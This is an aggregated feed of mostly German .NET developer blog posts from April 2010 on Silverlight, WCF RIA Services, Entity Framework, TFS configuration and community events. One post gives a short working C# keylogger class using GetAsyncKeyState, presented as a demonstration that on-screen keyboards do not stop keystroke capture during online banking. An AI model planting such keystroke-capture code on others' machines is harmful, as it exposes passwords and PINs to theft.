protected override void CacheMetadata(NativeActivityMetadata metadata)
{
metadata.AddImplementationVariable(CurrentIndex);

RuntimeArgument arg = new RuntimeArgument("StartIndex", typeof(int), ArgumentDirection.In);
metadata.Bind(StartIndex, arg);
metadata.AddArgument(arg);

RuntimeArgument argOut = new RuntimeArgument("Index", typeof(int), ArgumentDirection.Out);
metadata.Bind(Index, argOut);
metadata.AddArgument(argOut);

metadata.AddDelegate(Body);
metadata.AddChild(Condition);
}

protected override void Execute(NativeActivityContext context)
{
int start = StartIndex.Get(context);
CurrentIndex.Set(context, start);

BeginIteration(context);
}

private void BeginIteration(NativeActivityContext context)
{
int current = CurrentIndex.Get(context);

Index.Set(context, current);

context.ScheduleActivity<bool>(
Condition,
OnChecked,
OnFault);
}

private void OnChecked(NativeActivityContext context, ActivityInstance instance, bool result)
{
if (result )
{
int current = CurrentIndex.Get(context);

context.ScheduleAction<int>(
Body,
current,
OnBodyComplete,
OnFault);
}
}

private void OnBodyComplete(NativeActivityContext context, ActivityInstance instance)
{
CurrentIndex.Set(context, CurrentIndex.Get(context) + 1);
BeginIteration(context);
}

private void OnFault(NativeActivityFaultContext context, Exception ex, ActivityInstance instance)
{
CurrentIndex.Set(context, CurrentIndex.Get(context) + 1);
//context.HandleFault();
}
}




<sap:ActivityDesigner x:Class="ActivityDesignerLibrary.CountingWhileDesigner" [...]>
<sap:WorkflowItemPresenter MinHeight="50" Item="{Binding Path=ModelItem.Body.Handler, Mode=TwoWay}" HintText="Add body here" />

</sap:ActivityDesigner>

Foreign keys for RIA Services with Entity Framework 4.0

24.04.2010 20:02:00 | Patric Schouler

For Visual Studio 2010

If you want to use the ORM-Mapper Entity Framework 4.0 in an Silverlight Business Application you have to use additional foreign key for 0..1 to many associations in your model.

It should look like this:

image

To get the foreign key automatically in your entity you have to add the association by the context menu in the designer:

image

Another intressting feature in Visual Studio / Entity Framework 4.0 is the existence of a good support for complex types. So you can define often clustered fields as complex type, which make your model more readable.

image

These complex type will be transfered in the corresponding database table by the DB model generator of Visual Studio 2010 in that way:

image

DataAnnotations for Methods in WCF RIA Services and POCO model

24.04.2010 19:38:00 | Patric Schouler

When using the WCF RIA Services, especially in the scenario POCO Objects, you must notice a lot. In particular, the generation of the domain context code, could be very  frustrating. If you use for example a POCO data model with complex entities - in my case public enum as member of a class – the doman context access layer on the client (for example Silverlight ) maybe not longer generated. An error message does not appear.

Another mistake I made in the POCO scenario:

It is also important that you directly use the given entities from the client side to be manipulated. I mean don’t cast or transfer the parameter of the Update-, Insert-, Delete-method in an other class or reference instead of the given object the instance of the underlying data collection of the domain service. When you do this, all changes of your entity will not be propergated back to the Silverlight client.

A POCO-Objects example:

My business object:

   1: public enum RatingCategories
   2:     {
   3:         /// <summary>
   4:         /// Not set yet
   5:         /// </summary>
   6:         NotSet = -1,
   7:         /// <summary>
   8:         /// A positive average Rating
   9:         /// </summary>
  10:         Positive,
  11:         /// <summary>
  12:         /// An average Rating
  13:         /// </summary>
  14:         Average,
  15:         /// <summary>
  16:         /// A negative average Rating
  17:         /// </summary>
  18:         Negative,
  19:         /// <summary>
  20:         /// A random Rating
  21:         /// </summary>
  22:         Random
  23:     }
  24:     
  25:  
  26:     public enum IconVisibility 
  27:     {
  28:         Visible,
  29:         Collapsed
  30:     }
  31:     #endregion
  32:  
  33:     /// <summary>
  34:     /// A contract of a scenario for using as parameter in methods of the WCF facade. It implements the IScenario interface.
  35:     /// </summary>
  36:     public partial class ScenarioEntity : BaseEntity
  37:     {
  38:         #region Constructor
  39:         /// <summary>
  40:         /// Constructor. Initializes the contract from an object that implements IScenario.
  41:         /// </summary>
  42:         /// <param name="scenario">Object that implements IScenario.</param>
  43:         public ScenarioEntity()
  44:         {
  45:             ScenarioId = Guid.NewGuid().ToString();
  46:         }
  47:         #endregion
  48:         
  49:         #region Properties
  50:         /// <summary>
  51:         /// Contains the id of the scenario. Will be also used as row key!
  52:         /// </summary>
  53:         public string ScenarioId { get; set; }
  54:         /// <summary>
  55:         /// Contains the display name of this scenario entity.
  56:         /// </summary>
  57:         public string DisplayName { get; set; }
  58:         /// <summary>
  59:         /// Contains the datetime when the scenario was provided.
  60:         /// </summary>
  61:         public DateTime? Provided { get; set; }
  62:         /// <summary>
  63:         /// Contains the datetime when the calculation of this scenario was started.
  64:         /// </summary>
  65:         public DateTime? CalculationStart { get; set; }
  66:         /// <summary>
  67:         /// Contains the datetime when the calculation of this scenario was finished.
  68:         /// </summary>
  69:         public DateTime? CalculationEnd { get; set; }
  70:         /// <summary>
  71:         /// Contains the datetime when the calculation of this scenario was finished.
  72:         /// </summary>

My base class, which implements INotifyPropertyChanged:

   1: // Base Enity for POCO (plain-ole' CLR objects) domain models
   2:  public abstract class BaseEntity : INotifyPropertyChanged
   3:  {
   4:  
   5:      protected void OnPropertyChanged(string property)
   6:      {
   7:          OnPropertyChanged(property, true);
   8:      }
   9:  
  10:  
  11:      private void OnPropertyChanged(string property, bool setDirtyFlag)
  12:      {
  13:          PropertyChangedEventHandler handler = PropertyChanged;
  14:          if (handler != null)
  15:          {
  16:              handler(this, new PropertyChangedEventArgs(property));
  17:          }
  18:  
  19:      }
  20:  
  21:      #region INotifyPropertyChanged Members
  22:  
  23:      public event PropertyChangedEventHandler PropertyChanged;
  24:  
  25:      #endregion
  26:  
  27:      protected abstract bool _Equals(object obj);
  28:  
  29:      public override bool Equals(object obj)
  30:      {
  31:          return _Equals(obj);
  32:      }
  33:  
  34:     
  35:  }

The domain service which using a data persistence class for the business objects:

   1: [EnableClientAccess()]
   2:     public class RatingStressSimulatorDomainService : DomainService
   3:     {
   4:         private string _userId;
   5:  
   6:        
   7:         private RepositoryXMLStore simulatorRepository;
   8:  
   9:         public RatingStressSimulatorDomainService()
  10:         {
  11:             this.simulatorRepository = new RepositoryXMLStore();
  12:         }
  13:  
  14:         /// <summary>
  15:         /// Not used at this time
  16:         /// </summary>
  17:         /// <param name="context"></param>
  18:         public override void Initialize(DomainServiceContext context)
  19:         {
  20:             string x = "";
  21:             //this.ObjectContext.Connection.ConnectionString = "";
  22:             base.Initialize(context);
  23:         }
  24:  
  25:  
  26:         public void InsertScenario(ScenarioEntity scenarioEntity)
  27:         {
  28:             simulatorRepository.ProvideScenario(scenarioEntity,null);
  29:  
  30:         }
  31:  
  32:         public void UpdateScenario(ScenarioEntity scenarioEntity)
  33:         {
  34:             
  35:             simulatorRepository.Update(scenarioEntity);
  36:         }
  37:  
  38:  
  39:  
  40:         public void DeleteScenario(ScenarioEntity scenarioEntity)
  41:         {
  42:             simulatorRepository.DeleteScenario(scenarioEntity.ScenarioId);
  43:  
  44:         }
  45:  
  46:         [Invoke]
  47:         public string ProvideScenario(ScenarioEntity scenario)
  48:         {
  49:             if (scenario == null)
  50:             {
  51:                 scenario = new ScenarioEntity
  52:                 {
  53:                     Provided = DateTime.Now,
  54:                     ScenarioId = null,
  55:                     CreditCount = 0,
  56:                     CreditSum = 0,
  57:                     RatingCategorie = RatingCategories.NotSet
  58:                 };
  59:             }
  60:  
  61:             return simulatorRepository.ProvideScenario(scenario,null);
  62:         }
  63:  
  64:         [Invoke]
  65:         public void ProvideAndCalculateScenario(ScenarioEntity scenario)
  66:         {
  67:             ProvideScenario(scenario);
  68:             //simulatorRepository.StartCalculation(scenario.ScenarioId);
  69:         }
  70:  
  71:         public void StartCalculation(ScenarioEntity scenarioEntity)
  72:         {
  73:             simulatorRepository.StartCalculation(scenarioEntity);
  74:             
  75:         }

In the Silverlight client you can call the Insert-Method in that way:

   1:  
   2:             ProvideScenarioPopup scenarioPopup = (ProvideScenarioPopup)sender;
   3:             if (scenarioPopup.NewScenario != null)
   4:             {
   5:                 if (scenarioPopup.DialogResult == true)
   6:                 {
   7:                     simulator.ScenarioEntities.Add(scenarioPopup.NewScenario);
   8:                     simulator.SubmitChanges();
   9:                     // Grid refreshen
  10:                     Scenarios.ItemsSource = simulator.ScenarioEntities;
  11:                 }
  12:             }

After the SubmitChanges() the changes will be propergated back from the RIA Domain Service to the Domain Context an the client side and the entity collection of the context contains the new object.

In a similiar way you can call a update method:

   1: private void StartCalc_Click(object sender, RoutedEventArgs e)
   2:       {
   3:           Button button = sender as Button;
   4:           if (button != null)
   5:           {
   6:               button.IsEnabled = false;
   7:                ScenarioEntity entity = ((Button)sender).DataContext as ScenarioEntity;
   8:               if (entity != null)
   9:               {
  10:                   simulator.StartCalculation(entity);
  11:                   simulator.SubmitChanges();
  12:               }
  13:  
  14:             
  15:           }
  16:       }

 

DataAnnotations for DomainService-Methods

[Invoke] For methods which don’t have the standard signature
[Delete] Prefix: Delete orRemove
[Insert] Prefix: Insert, Add or Create
[Update] Prefix: Change, Update, Modify
[Query] IQueryable mit Return value INumerable, IQueryable, oder Entity
[Ignore] Not available in Domain context
[RequiresRole(“Role1”)] User have to be in role “Role1”
[Query(IsComposable=false)] Returns only one entity instance
   
   
   
   

Silverlight 4 Training

24.04.2010 11:24:00 | Ozgur Aytekin

The Silverlight 4 Training Course includes a whitepaper explaining all of the new Silverlight 4 features, several hands-on-labs that explain the features, and a 8 unit course for building business applications with Silverlight 4. The business applications course includes 8 modules with extensive hands on labs as well as 25 accompanying videos that walk you through key aspects of building a business application with Silverlight. Key aspects in this course are working with numerous sandboxed and elevated out of browser features, the new RichTextBox control, implicit styling, webcam, drag and drop, multi touch, validation, authentication, MEF, WCF RIA Services, right mouse click, and much more!

http://www.microsoft.com/downloads/details.aspx?FamilyID=24CEA29E-042E-41C9-AA16-684A0CA5F5DB&displaylang=en

Webcast Serie - Silverlight in Deep – Microkernel Unity in Silverlight

23.04.2010 19:27:00 | Gregor Biswanger

Ab heute gibt es einen weiteren Teil zu meiner Webcast-Serie – Silverlight in Deep. Die Serie besteht aus 5 Teilen und ist für fortgeschrittene Silverlight Entwickler.

Überblick der Serien „Silverlight in Deep“:

Teil 1 – AOP in Silverlight
Teil 2 – Das MVVM in Silverlight
Teil 3 – Das Testen von Silverlight Anwendungen
Teil 4 – Microkernel Unity in Silverlight
Teil 5 – Silverlight als CMS verwenden

http://www.microsoft.com/germany/msdn/webcasts/serien/MSDNWCS-0907-04.mspx

Microkernel Unity in Silverlight

Eine gute Mischung aus Flexibilität und Komplexität zu erreichen ist einer der wichtigsten Aspekte beim Thema "Softwarearchitektur". Denn: Je größer die späteren Projekte werden, desto schmerzhafter sind große Änderungen oder Erweiterungen von Komponenten. Um diese Probleme zu reduzieren und zu vereinfachen, werden dem Projekt unterschiedliche Pattern als Microkernel zur Verfügung gestellt. Der Microkernel kümmert sich anschließend zentral um ein besseres Gleichgewicht von Flexibilität und Komplexität. Dieser Webcast zeigt durch einige Beispiele, wie deren Funktionalität in eigene Projekte implementiert wird. Auch hier wird mit einem zusätzlichen Praxisbeispiel die Stärke des MVVM-Patterns veranschaulicht.

http://www.microsoft.com/germany/msdn/webcasts/library.aspx?id=1032450985

Über weiteres Feedback zum Webcast freue ich mich jetzt schon.

Visual Studio Styles Gallery - Quelltextformatierung wechsel dich!

23.04.2010 17:30:00 | Michael Schwarz

Immer mehr Entwickler schalten um auf eine inverse Anzeige der Quelltextanzeige im Visual Studio, oder ändern wenigstens teilweise die Farben, um den Quelltext besser und für’s Auge angenehmer zu gestalten.

Leider fehlt mir oft die Zeit darüber Gedanken zu machen, bzw. die vielen Farben zu verändern, damit zu arbeiten, und dann hinterher doch wieder alles zurück zu stellen.

Dafür gibt es jetzt eine Sammlung:

image

Auf http://studiostyles.info/ findet ihr tolle Visual Studio Farbschemata (heißt das jetzt wirklich so?) zum runterladen… und wenn ihr selber meint, eure Farben sind die besten, dann könnt ihr das Farbschema auch hochladen.

Hier mal ein Vorgeschmack:

image

Viel Spaß beim Ausprobieren…!

Visual Studio 2010 Testing Deep Zoom

23.04.2010 17:18:41 | Thomas Schissler

Christian Binder hat einen Deep Zoom zum Thema Testing mit Visual Studio 2010 auf seinem Blog veröffentlicht. Der Deep Zoom erlaubt es aus einer Übersichtsansicht sich tiefer in einzelne Themen hineinzuklicken, bis auf Detaileben. Der Deep Zoom enthält auch Videos die zwar nicht vertont sind aber die einzelnen Teilabläufe anschaulich darstellen. Echn ne coole Sache, also einfach mal selber reinschauen.

Visual Studio 2010 Test Manager Deepzoom

http://blogs.msdn.com/cbinder/archive/2010/04/22/einf-hrung-deepzoom-f-r-den-neuen-visual-studio-2010-test-manager-und-lab-management.aspx

TF255050 Fehlermeldung beim Einrichten der Reporting Services im TFS

23.04.2010 17:00:05 | Thomas Schissler

In der TFS Adminconsole oder im TFS Configuration Wizard können die Reporting Services für den TFS konfiguriert werden.

 image

Man gibt hier den Server und ggf. die Instanz der Reporting Services an und klickt auf “Populate URLs”, dann werden die entsprechenden URLs automatisch ausgefüllt – normalerweise zumindest. Ich hatte die Situation, dass der User mit dem ich den TFS installiert habe auf dem Server auf dem die Reporting Services liefen kein Administrator war. Normalerweise ist das der einfachste Weg, den TFS Account auf dem Reporting Server als lokalen Administrator einzutragen, das ist aber nicht in allen Fällen erwünscht. Dann bekommt man die Fehlermeldung

TF255050: A connection cannot be made to the Report Server WMI provider. Verify the following:
1. You have entered the correct name for the server, including the instance name.
2. The Windows Management Instrumentation service is running on vs2010rcdemo.
3. The service is not blocked by Windows Firewall.
4. You have the required permissions to connect.

Details:
Access is denied. (Exception from HRESULT: 0x80070005 (E_ACCESSDENIED))

image 

Eine damit verwandte Fehlermeldung ist

TF255186: The following SQL Server Reporting Services Instance could not be found: MSSQLSERVER. The server name is: vs2010rcdemo.

In beiden Fälle fehlen dem User WMI-Berechtigungen auf dem Reporting Server. Im ersten Fall der Remote-Zugriff auf die WMI generell, im zweiten Fall auf den Remote-Zugriff für die Reporting Services in der WMI. Um die gewünschte Operation ausführen zu können muss dem User zunächst Remote-Zugriff auf WMI gegeben werden:

  1. Auf dem Reporting Server dcomcnfg.exe starten
  2. Im linken Bereich Console Root\Component Services\Computers\My Computer öffnen
  3. Aus dem Kontextmenü von “My Computer” den Eintrag “Properties” öffnen
    image
  4. Im Bereich “Launch and Activation Permissions” auf “Edit Limits” klicken
  5. Den Benutzer mit “Add hinzufügen und ihm “Remote Launch” und “Remote Activation” vergeben
    image

Anschließend kann der Remote-Zugriff per WMI auf die Reporting Services konfiguriert werden.

  1. Auf dem Reporting Server wmimgmt.msc starten
  2. Im linken Bereich auf WMI Control (Local) aus dem Kontext-Menü “Properties” auswählen
  3. Auf den Reiter Security wechseln und im Baum Root\Microsoft\SqlServer\ReportServer auswählen
    image
  4. Auf den Button “Security” klicken und den gewünschten benutzer mit “Add” einfügen
  5. Dem Benutzer “Enable Account” und “Remote Enable” als Rechte vergeben
    image
  6. Auf “Advanced” clicken, den Benutzer auswählen und dann auf “Edit” klicken
  7. Bei “Apply to” “This namespace and subnamespaces” wählen
    image

Mit diesen Einstellungen sollte nun das “Populate URLs” in der TFS Administration Console funktionieren.

Einladung zum Treffen der .NET Usergroup Dresden am 05.05.2010

23.04.2010 16:56:00 | Martin Hey

Am 05.05. findet das nächste Treffen der .NET Usergroup Dresden bei der Communardo Software GmbH statt. Thema diesmal ist ein Workshop, der Techniken rund um Silverlight und WPF etwas näher beleuchtet.

In einem DeepDive werden Euch Lars Heinrich und Peggy Reuter den Umgang mit Expression Blend für Silverlight, Windows Phone 7 und WPF vorstellen. Damit ihr am Ende des Abends auch handfeste Wissen mit nach Hause nehmt, werden die beiden mit Euch einige kleine Applikationen erarbeiten. Angedacht sind für den gemeinsamen Abend eine Formular-Applikation, eine SketchFlow Prototyp und das Designen dessen sowie ein kleines 3D-WPF-Projekt. Im Verlauf der drei kleinen Arbeiten werdet ihr die relevanten Killerfeatures von Blend und den Basis-Umgang mit Blend sehen. Die großen Neuerungen von Blend 4 sowie eine Windows Phone App werden wir, wenn Zeit bleibt, auch noch demonstrieren. Es wird ein codefreier Abend werden, da wir uns an
diesem Abend vorwiegend auf der WYSIWYG-Oberfläche bewegen werden.

Um mitmachen zu können, sollten Eure Notebooks ausgerüstet sein mit:
  • Expression Blend 3
  • Silverlight 3
  • .Net Framework 3.5
  • Silverlight 3 Toolkit
  • Blend SDK
Wer mir der Ausrüstung für Silverlight 4 / Blend 4 dabei ist, ist damit natürlich genauso willkommen. Und auch Teilnehmer ohne eigenes Notebook können gern am Abend teilnehmen, denn auch durch zusehen lernt man bekanntlich. Wir freuen uns auf Eurer zahlreiches Erscheinen.

Eine Möglichkeit zur Anmeldung gibt es im Xing-Event.

Axinom goes Academic

23.04.2010 13:52:37 | Damir Tomicic

2004 ist Estland der Europäischen Union beigetreten. In den letzten Jahren baute Estland auch eine leistungsfähige und erfolgreiche IT-Branche auf; moderne Informations- und Kommunikationstechnologien sind bei der Bevölkerung sehr beliebt - kostenlose Internet-Zugänge an jeder Ecke und vollständig digitalisierte Personalausweise (Stichwort: digitale Wahlen) sind nur einige der Beispiele. Es wird dementsprechend auch sehr viel in die akademische Bildung und in die IT-Nachwuchskräfte investiert. Die Studenten erhalten noch während des Studiums die Gelegenheit mit den führenden Vertretern der lokalen Industrie die Kontakte zu knüpfen und über die Strategien und Geschäftsmodelle zu diskutieren.

 

Nun haben auch wir die Einladung für eine Vorstellung erhalten. Stetiges Wachstum auf beiden Lokationen in Tallinn und Tartu hat dazu beigetragen, dass Axinom in Estland inzwischen zu den führenden IT-Unternehmen zählt, unter den Microsoft-Spezialisten sind wir sogar ganz vorne.

Mein Kollege Artjom Vinogradov stellte in einem lockeren und unterhaltsamen Vortrag den rund 250 Studenten, Professoren und Gästen (interessiert am Thema) unser Unternehmen und unsere Strategie vor, erläuterte die Produktentwicklung und anhand konkreter Beispiele die Art und Weise wie wir die IT-Projekte durchführen und welche Rolle die Absolventen bei uns spielen können. Da wir vorwiegend mit Web und neuen Technologien zu tun haben, gab es auch eine engagierte und konstruktive Diskussion. :-)

Ich finde dies eine großartige Idee für beide Seiten. Die Unternehmen erhalten die Möglichkeit sich vorzustellen, die Studenten die Gelegenheit eigene Fragen beantwortet zu bekommen... Es ist sicherlich eine gute Idee auch für die hiesigen akademischen Einrichtungen. Bisher habe ich aber nur eine solche Anfrage erhalten und zwar vom Hasso Plattner Institut in Potsdam.

Eigentlich schade ..

Heißt Google Mail in Deutschland jetzt wieder Gmail?

23.04.2010 13:12:00 | Michael Schwarz

Immer wenn ich ins Ausland fahre, dann stelle ich wieder fest, dass Gmail in Deutschland eben Google Mail heißt, und dass auch die Anmeldeseite bei Gmail anders aussieht.

Eines der ersichtlichen Änderungen ist das Google Mail Logo als auch die eingebetteten RSS Nachrichten vom Gmail Blog.

Heute stelle ich aber fest, das dem nicht mehr so ist.

image

Ist das nur ein Fehler bei Google, oder dürfen die jetzt wieder Gmail heißen.

Update: Ok, verstanden… liegt wohl daran, dass Google meinen Ort nicht feststellen konnte.

image

Ready for the Cloud: Windows Azure Information Day

23.04.2010 12:53:29 | Jens Häupel

Wer sich ein Bild machen möchte, was Microsoft in Bezug auf Cloud Computing so zu bieten hat, sollte den Windows Azure Information Day nicht verpassen.

Die Termine :

  • 02.06.2010 - Böblingen
  • 09.06.2010 - Berlin
  • 16.06.2010 - Bad Homburg
  • 24.06.2010 - München
  • 30.06.2010 – Köln

AzureInfoDay

Tastatureingaben mit C# aufzeichnen – KeyLogger auf .NET

23.04.2010 10:47:00 | Michael Schwarz

Nach meinem Artikel Die Bildschirmtastatur bringt keine Sicherheit beim Online Banking bin ich jetzt schon öfters angesprochen worden, wie man denn Tastatureingaben überwachen kann. Nachfolgend mal meine kleine KeyLogger Klasse in C#:

using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace MS.Util
{
  public class KeyLogger
  {
    [DllImport("User32.dll")]
    private static extern short GetAsyncKeyState(int vKey);
    [DllImport("User32.dll")]
    private static extern short GetAsyncKeyState(Keys vKey);

    public void Read()
    {
      try
      {
        foreach (int i in Enum.GetValues(typeof(Keys)))
        {
          if (GetAsyncKeyState(i) == -32767)
          {
            Console.Write(Enum.GetName(typeof(Keys), i) + " ");
          }
        }
      }
      catch (Exception ex)
      {
      }
    }
  }
}

Die Methode Read() muss man jetzt nur schnell genug hintereinander aufrufen, dann sieht man in einer Konsolenanwendung die gedrückten Tasten. Viel Spaß beim Ausprobieren, gerade auch mit einer Bildschirmtastatur!

Silverlight 4 Training Kit – Kostenloser Download

23.04.2010 08:16:00 | Michael Schwarz

image Nachdem Microsoft nun Silverlight 4 fertig hat, hat Scott Guthrie gestern noch einmal erinnert, dass es ein kostenloses Silverlight 4 Training Kit gibt, unter anderem mit folgenden Themen:

  • What’s New in Silverlight 4
  • Silverlight 4 New Features
  • Silverlight 4 Business Apps: Module 1- Introduction
  • Silverlight 4 Business Apps: Module 2 – Event Manager using WCF RIA Services
  • Silverlight 4 Business Apps: Module 3 – User Registration with Authentication, Validation, Rich Text, Styling and Commands
  • Silverlight 4 Business Apps: Module 4 – User Profile with Drop Target, Webcam, Clipboard
  • Silverlight 4 Business Apps: Module 5 – Schedule Planner with Grouping and Right Click
  • Silverlight 4 Business Apps: Module 6 – Printing the Schedule
  • Silverlight 4 Business Apps: Module 7 – Event Dashboard Running Out of Browser
  • Silverlight 4 Business Apps: Module 8 – Advanced Out of Browser and MEF

Das Trainings Kit kann man nicht nur online anschauen (25 Videos und Hands on Labs), sondern auch als komplettes Paket herunterladen.

Konkrete Klassen mit dem StructureMap AutoMocker nutzen

22.04.2010 17:53:00 | Jan Christian Selke

Der Frage nach dem Umgang mit Stubs innerhalb des StructureMap AutoMockers bin ich bereits vor Kurzem nachgegangen. Was aber, völlig losgelöst von der Frage, ob das Design gut oder schlecht ist, wenn eine weitere konkrete Klasse in einem “autogemockten” Test benötigt wird. Die Antwort auf diese Frage ist die Methode UseConcreteClassFor<T>(). Werfen wir mal einen kurzen Blick auf die Methode:
public void UseConcreteClassFor<T>()
{
var concreteClass = _container.GetInstance<T>();
_container.Inject(concreteClass);
}

Eine Instanz der Klasse wird aus dem Container geholt und mittels Inject() wieder als default für den Typ in dem Container registriert.
Benötigt habe ich diese Methode bisher nur einmal in einem Presenter Test. Der Test für sich genommen ist aber bereits schief und krumm. Entweder muss ich ihn demnächst mal korrigieren oder von Grund auf erneuern. Durch ein vernünftiges Testdesign ist diese Methode in der Mehrzahl aller Fälle überflüssig.
Dennoch, innerhalb des fraglichen Tests, würde die Methode in etwa wie folgt aufgerufen werden.
RhinoAutoMocker<ClassUnderTest> mocker = new RhinoAutoMocker<ClassUnderTest>(); mocker.UseConcreteClassFor<AdditionalConcreteClass>();

Warum aber funktioniert dieser Aufruf mit GetInstance<T>() obwohl vorher noch gar kein Typ registriert wurde? Dies liegt in der Methode selbst begründet. Innerhalb des CallStacks taucht irgendwann die Methode Resolve() auf.
public object Resolve(Type pluginType, Instance instance, BuildSession session)
{
IObjectCache cache = FindCache(pluginType, instance, session);
lock (cache.Locker)
{
object returnValue = cache.Get(pluginType, instance);
if (returnValue == null)
{
returnValue = ConstructNew(pluginType, instance, session);
cache.Set(pluginType, instance, returnValue);
}





return returnValue;
}
}

Aha, wenn also noch kein Typ registriert ist, wird ein neues konkretes Objekt konstruiert. Dieses wird dann mit der Methode Inject(), wie oben bereits beschrieben, als default Wert für den Typ im Container registriert.
Schon gibts bei jedem Aufruf des Typen die konkrete Instanz zurück...

Windows 7 (Multi) Touch Pack als Download verfügbar

22.04.2010 09:48:00 | Michael Schwarz

Gerade bei Stephan gelesen, Windows 7 Touch Pack nun öffentlich verfügbar.

Microsoft hat das Windows 7 Touch Pack, welches die neuen Möglichkeiten der mit Windows 7 eingeführten Multitouch-Oberfläche eindrucksvoll demonstriert, nun zum öffentlichen Download freigegeben. Bisher war das Paket nur OEMs zugänglich, die es auf entsprechenden Computern mit berührungsempfindlichen Bildschirmen vorinstallieren konnten.

Ab zum Download (Microsoft)…

The Microsoft Touch Pack for Windows 7 is a collection of games and applications that are made available to computers with multi-touch enabled displays running Windows 7.
The Touch Pack includes:

  • Microsoft Blackboard, an intricate game of physics in which you solve a puzzle by creating a fanciful machine on a blackboard.
  • Microsoft Garden Pond, a tranquil game that takes place in serene Japanese water gardens.
  • Microsoft Rebound, a game in which you use your fingertips to control Tesla spheres with an electrical field between them to catapult a metal game ball into your opponent's goal.
  • Microsoft Surface Globe, a program that you can use to explore the earth as a flat 2-D map or as an immersive 3-D experience.
  • Microsoft Surface Collage, a program that you can use to explore and interact with your photos and arrange them as a desktop background.
  • Microsoft Surface Lagoon, a screen saver and interactive water simulation, complete with a meditative rock arrangement and playful, shy fish.

Viel Spaß!

Battlefield Bad Company 2 Sidebar Gadget für Windows Vista und Windows 7

22.04.2010 09:24:00 | Andreas Mehl

I have programmed a Sidebar Gadget for Battlefield Bad Company 2.

You can switch between, Server Infos, Your Stats, Buddy-List with Leaderboard,

Buddy-Stats etc.

 

Screenshots can be found here: Screenshots

Video can be found here: Video

Configuration as follows in the documentation:Install Instructions

Download Battlefield Bad Company 2 Sidebar Gadget

Einführung : DeepZoom für den neuen Visual Studio 2010 Test Manager und Lab Management

22.04.2010 07:29:00 | Christian Binder

Auf einfache Art einen guten Einstieg in die neuen VS 2010 Test Tools erhalten? Zum rein Zoomen und mit Videos für die wichtigsten Arbeitsabläufe.

Visual Studio 2010 Test Manager Deepzoom

Hier

Ich freue mich auf Eurer Feedback :-) Last mich wissen, ob die Bedienung intuitiv ist oder ob ich ein kurzes Video dazu machen soll.

Update:  Danke für das positive Feedback. Viele haben nach einer Offline Version gefragt, die könnt Ihr jetzt hier runterladen :-)

Viel Spass

Chris

Neuer Artikel auf heise-developer.de - Wirbel um Visual Studio 2010: neues Modell für die Plug-in-Entwicklung

21.04.2010 23:01:00 | Gregor Biswanger

Beim derzeitigen Wirbel von Visual Studio 2010 auf heise-developer.de gibt es einen neuen Artikel meinerseits: 

Wirbel um Visual Studio 2010: neues Modell für die Plug-in-Entwicklung

Hinkte Visual Studio lange Zeit bei der Entwicklung von Plug-ins der freien Entwicklungsumgebung Eclipse hinterher, versucht Microsoft mit der Einführung des Managed Extensibility Framework (MEF) in .NET 4 aufzuholen.

 

Hier geht es zum freien Online-Artikel: http://www.heise.de/developer/artikel/Wirbel-um-Visual-Studio-2010-neues-Modell-fuer-die-Plug-in-Entwicklung-981883.html

 

 

Vorlagenbasiert Dokumente erstellen – Eine kurze Einführung

21.04.2010 21:21:00 | Jan Christian Selke

Serverseitig Dokumente erstellen funktioniert am besten oder vielleicht auch nur am einfachsten vorlagenbasiert – unabhängig davon, ob es sich um Word Dokumente, Excel Arbeitsmappen oder PowerPoint Präsentationen handelt. Aber was ist dabei zu beachten, welche grundlegenden Konzepte gibt es?

Mit seinem Artikel Building Document Generation Systems from Templates with Word 2010 and Word 2007 beschreibt Eric White verschiedene Ansätze. Dabei geht er auf die einzelnen Aspekte

ein. Neben grundlegenden Konzepten beinhaltet der Artikel auch eine Vielzahl an zusätzlichen Links zu weiterführenden Ressourcen.

Warum noch miteinander sprechen …

21.04.2010 19:16:26 | Oliver Scheer

image… wenn man es während Events (xtopia kompakt) auch ohne Worte kommunizieren kann. So geschehen gerade auf der Xtopia … man achte auf die linke Person im oberen Bild :)

Die Bildschirmtastatur bringt keine Sicherheit beim Online Banking

21.04.2010 17:48:00 | Michael Schwarz

Gerade lese ich einen Beitrag auf windows7news.com bzgl. dem Zeus Virus.

"We expect this new version of Zeus to significantly increase fraud losses, since nearly 30% of internet users bank online with Firefox and the infection is growing faster than we have ever seen before," said Amit Klein, chief technology officer at Trusteer.

Weiter wird dann geraten folgendes geraten, das klingt ja erst einmal ganz gut:

Windows XP, Vista and Windows 7 also include as standard an on-screen keyboard.  This can be used when logging into websites, especially banking sites, to make the process much more secure.

Man soll also die Bildschirmtastatur verwenden, damit böse Programme die Eingaben (Benutzernamen, Kennwörter, PIN/TANs,…) nicht aufzeichnen können.

image

Hm, das musste ich mal schnell ausprobieren. Also Visual Studio gestartet (ja, sogar das ganz neue Zwanzigzehn), ein paar Zeilen geschrieben… ausprobiert, und?

Die Bildschirmtastatur schützt NICHT vor Programmen, die die Tastatureingaben auf irgendwelche Abfragen überwachen. Ich habe ein kleines Testprogramm geschrieben, damit geht’s auf jeden Fall.

Ich persönlich verwende lieber einen virtuellen PC, den ich immer wieder in den Grundzustand versetze, und auch sonst nichts im Internet mache. Auch sollte natürlich die AntiViren Software auf dem aktuellen Stand sein.

Update: komisch, wenn man bei Google sucht, dann findet man noch mehr von diesen Tipps. Ist das nur ein Problem von Windows 7, oder bin ich zu dumm dafür?

Visual Studio 2010: Deutsche Fassung ab sofort für MSDN Subscriber verfügbar

21.04.2010 13:12:27 | Oliver Scheer

Die deutsche Fassung von Visual Studio 2010 wird am 21. April im Lauf des Tages für alle Besitzer einer gültigen MSDN Subscription zum Download bereit stehen. Entwickler ohne eine aktive MSDN Subscription müssen sich entweder noch bis zum 1. Mai gedulden oder sollten besser noch bis 30. April das so genannte „Ultimative Angebot“ nutzen und sich ein sehr attraktives „Rundum-Sorglos-Paket“ zu einem äußerst ansprechenden Preis sichern: Alle Kunden, die jetzt bis 30. April mindestens Visual Studio 2008 Professional mit MSDN Premium lizenziert haben, erhalten dann nicht nur sofort das neue Visual Studio 2010 inklusive Team Foundation Server 2010 ohne zusätzliche Lizenzkosten, sondern werden in vielen Fällen auch automatisch in eine nächsthöhere Subscriptions-Stufe überführt, wo sie ein deutlich umfangreicheres Leistungspaket erhalten. Details zu diesem „Ultimativen Angebot“ finden Sie hier: http://www.microsoft.com/germany/visualstudio/buy/ultimate-offer.aspx

Für Teams jeder Größe – Herausforderungen der Anwendungsentwicklung meistern

